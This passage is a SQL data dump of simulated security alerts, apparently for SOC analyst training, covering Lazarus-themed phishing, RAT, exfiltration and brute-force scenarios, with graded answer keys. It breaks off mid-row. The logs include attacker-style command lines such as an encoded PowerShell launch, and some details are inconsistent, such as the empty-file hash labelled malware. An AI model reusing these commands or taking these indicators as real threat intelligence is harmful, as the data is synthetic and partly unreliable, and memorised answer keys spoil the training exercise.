INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1367, 'Malicious Attachment in Follow-up Email', 'high', 'Corporate email gateway', 'An email with a job offer attachment was received, containing a trojan designed to execute upon opening. The attachment was identified as a known malicious artifact linked to Lazarus Group activities.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"email_sender\":\"hr@fakesite.com\",\"email_recipient\":\"jdoe@corporate.com\",\"subject\":\"Job Offer\",\"attachment\":{\"filename\":\"Job_Offer_Details.docx\",\"hash\":\"7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\",\"file_type\":\"docx\"},\"malware_signature\":\"Trojan:Win32/FakeOffer\",\"indicators\":{\"attachment_hash\":\"7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\",\"malicious_ip\":\"203.0.113.45\"}}', '2026-03-01 23:03:23', '2026-03-14 16:42:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns by Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known trojan used in targeted phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"hr@fakesite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently registered and used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Attachment in Follow-up Email\",\"date\":\"2026-03-02T13:55:06.879Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1368, 'Establishment of Remote Access Trojan (RAT)', 'critical', 'Endpoint protection logs', 'A Remote Access Trojan (RAT) named \'Backdoor.LazarusRat\' was detected on the victim\'s machine, allowing persistent access for the attacker. The RAT installation was initiated from a suspicious IP address, and files associated with the Lazarus Group were found.', 'Malware', 'T1219 - Remote Access Tools', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"RAT-Installation\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"process_name\":\"svchost.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"lazarus_rat.dll\",\"username\":\"victim_user\",\"action\":\"File created\",\"threat_name\":\"Backdoor.LazarusRat\",\"severity\":\"Critical\"}', '2026-03-01 23:03:23', '2026-03-14 16:42:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Victim\'s machine internal IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lazarus RAT.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lazarus_rat.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Malicious DLL used for RAT installation.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"victim_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account on the compromised machine.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1369, 'Lateral Movement to Secure Network Segments', 'high', 'Network traffic analysis', 'Using compromised credentials, the attacker moves laterally to access secure segments of the network. This activity is consistent with the Lazarus Group\'s known tactics.', 'Network Intrusion', 'T1021 - Remote Services', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-10T14:35:17Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.23\",\"protocol\":\"RDP\",\"action\":\"allowed\",\"username\":\"jdoe\",\"auth_method\":\"NTLM\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"confidential_project.docx\",\"event_description\":\"Successful RDP connection using compromised credentials\",\"network_segment\":\"Sensitive_Segment_A\",\"severity\":\"High\"}', '2026-03-01 23:03:23', '2026-03-14 16:43:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network segment for sensitive projects\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1370, 'Data Exfiltration Attempt Detected', 'critical', 'Data loss prevention system', 'An exfiltration attempt was detected where classified project files were being transferred to a known malicious remote server. The attack was executed by a threat actor using advanced techniques indicative of the Lazarus Group.', 'Data Breach', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', 232, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"DLP-EXFIL-20231015\",\"source_ip\":\"192.168.1.45\",\"source_username\":\"jdoe\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"classified_project_files.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"Blocked\",\"alert_reason\":\"Exfiltration attempt to known malicious IP\",\"reference\":\"Lazarus Group TTPs\",\"related_malware\":\"WannaCry\"}', '2026-03-01 23:03:23', '2026-03-14 16:43:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"classified_project_files.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive project files.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malware used by Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"HR Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user credentials compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1371, 'Communication with North Korean IPs', 'high', 'Firewall and DNS logs', 'Continuous communication is established with IPs linked to North Korea, confirming the involvement of Lazarus Group. The compromised system is maintaining connection with an external IP associated with command and control activities.', 'Command and Control', 'T1102 - Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:45:23Z\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.131.222.102\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"malware_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"dns_query\":\"malicious-domain.example.com\",\"user\":\"jdoe\",\"event_id\":\"FW-20231015-0001\"}', '2026-03-01 23:03:23', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.131.222.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group C2 server.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Associated with suspicious activity but not conclusively malicious.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-domain.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenDNS\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known APT infrastructure.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account associated with the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1372, 'Brute Force Attack Detected from Malicious IP', 'high', 'Splunk', 'Multiple failed login attempts detected from a known malicious IP address targeting user accounts.', 'Brute Force', 'T1110', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T14:32:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"corp-server01\",\"failed_attempts\":\"25\"}', '2026-03-02 03:07:37', '2026-03-10 22:16:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Repeated login failures from a known malicious IP indicate a brute force attempt.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1373, 'Malware Detected via Suspicious Process Execution', 'critical', 'Elastic SIEM', 'A process execution was detected involving a file with a known malicious hash.', 'Malware', 'T1059', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T10:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"hostname\":\"workstation-07\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-02 03:07:37', '2026-03-09 02:32:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 57 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to execute known malware\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is known to be malicious, confirming the presence of malware.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1374, 'Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A phishing email was received containing a malicious URL designed to harvest credentials.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T09:50:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"email_sender\":\"spoofed-ceo@fakecompany.com\",\"domain\":\"fakecompany.com\",\"url\":\"http://phishing-portal.com/login\",\"username\":\"victim@company.com\"}', '2026-03-02 03:07:37', '2026-03-07 10:38:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"spoofed-ceo@fakecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address known for phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-portal.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing 